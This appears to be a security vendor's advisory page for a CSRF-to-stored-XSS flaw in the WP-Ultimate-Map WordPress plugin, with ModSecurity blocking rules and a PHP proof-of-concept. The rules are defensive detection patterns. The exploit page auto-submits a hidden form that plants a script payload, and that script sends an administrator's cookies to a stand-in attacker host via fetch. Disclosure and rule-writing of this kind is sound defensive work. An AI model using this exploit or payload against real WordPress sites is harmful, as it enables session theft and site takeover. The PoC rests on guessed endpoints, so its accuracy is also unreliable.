CVE-2026-8907: WP-Ultimate-Map <= 1.1 Cross-Site Request Forgery to Stored Cross-Site Scripting via 'zoom-level' Parameter PoC, Patch Analysis & Rule

# Atomic Edge WAF Rule - CVE-2026-8907 (metadata-based)
# Block CSRF-to-XSS exploitation via WP-Ultimate-Map by detecting XSS patterns in zoom-level parameter
# This rule assumes the vulnerable endpoint is /wp-admin/admin-post.php with action=process_init
# The rule also covers potential AJAX endpoint /wp-admin/admin-ajax.php with action=wp_ultimate_map_settings

SecRule REQUEST_URI "@streq /wp-admin/admin-post.php" 
  "id:20261994,phase:2,deny,status:403,chain,msg:'CVE-2026-8907 - WP-Ultimate-Map CSRF to XSS via zoom-level parameter',severity:'CRITICAL',tag:'CVE-2026-8907'"
  SecRule ARGS_POST:action "@streq process_init" "chain"
    SecRule ARGS_POST:zoom-level "@rx (?i)(?:<script|<svg|onerror|onload|onfocus|alerts*(|fetchs*(|document.cookie)" "t:none"

SecRule REQUEST_URI "@streq /wp-admin/admin-ajax.php" 
  "id:20261995,phase:2,deny,status:403,chain,msg:'CVE-2026-8907 - WP-Ultimate-Map CSRF to XSS via zoom-level parameter (AJAX variant)',severity:'CRITICAL',tag:'CVE-2026-8907'"
  SecRule ARGS_POST:action "@streq wp_ultimate_map_settings" "chain"
    SecRule ARGS_POST:zoom-level "@rx (?i)(?:<script|<svg|onerror|onload|onfocus|alerts*(|fetchs*(|document.cookie)" "t:none"

<?php
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept (metadata-based)
// CVE-2026-8907 - WP-Ultimate-Map <= 1.1 - Cross-Site Request Forgery to Stored Cross-Site Scripting via 'zoom-level' Parameter

// Configuration
$target_url = 'http://example.com'; // Change to the target WordPress site URL
$attacker_host = 'http://attacker-controlled-server.com'; // Host where attacker stores payload for exfiltration (if needed)

// The CSRF form will submit to admin-ajax.php or directly to admin-post.php?action=process_init
// Based on the description, the vulnerable handler is hooked to admin_init and triggered by a POST request with 'save-setting' parameter.

// Construct the XSS payload for the zoom-level parameter
$payload = '" onfocus="alert(document.cookie)" autofocus="true'; // Example XSS that triggers on an input element's attribute
// Alternatively, inject inline JavaScript: "><script>alert(1)</script>
// Given the description says echoed into an HTML attribute and inline JS, we craft a payload that breaks out.
$xss_payload = '"><script>fetch("http://attacker-controlled-server.com/steal?c="+document.cookie)</script>';

// Create the hidden form HTML
$html = '
<form action="' . $target_url . '/wp-admin/admin-post.php" method="POST" id="csrfform">
<input type="hidden" name="action" value="process_init">
<input type="hidden" name="save-setting" value="1">
<input type="hidden" name="zoom-level" value="' . htmlspecialchars($xss_payload, ENT_QUOTES, 'UTF-8') . '">
<input type="hidden" name="focus-lat" value="0">
<input type="hidden" name="focus-lng" value="0">
<input type="hidden" name="sel_places" value="">
<input type="hidden" name="sel_routes" value="">
</form>
<script>document.getElementById("csrfform").submit();</script>
';

// Output the exploit page (attacker would host this)
header('Content-Type: text/html');
echo $html;
?>

// To trigger: Administrator visits this page while logged into WordPress.
// The script auto-submits the form, sending the malicious zoom-level value.
// The plugin stores it without sanitization and later renders it unsafely.
// Assumptions: The process_init function is accessible via admin-post.php with action 'process_init'.
// Alternatively, it might be triggered via admin-ajax.php with action 'wp_ultimate_map_settings'.
// This PoC targets admin-post.php which is a common WordPress handler for admin POST forms.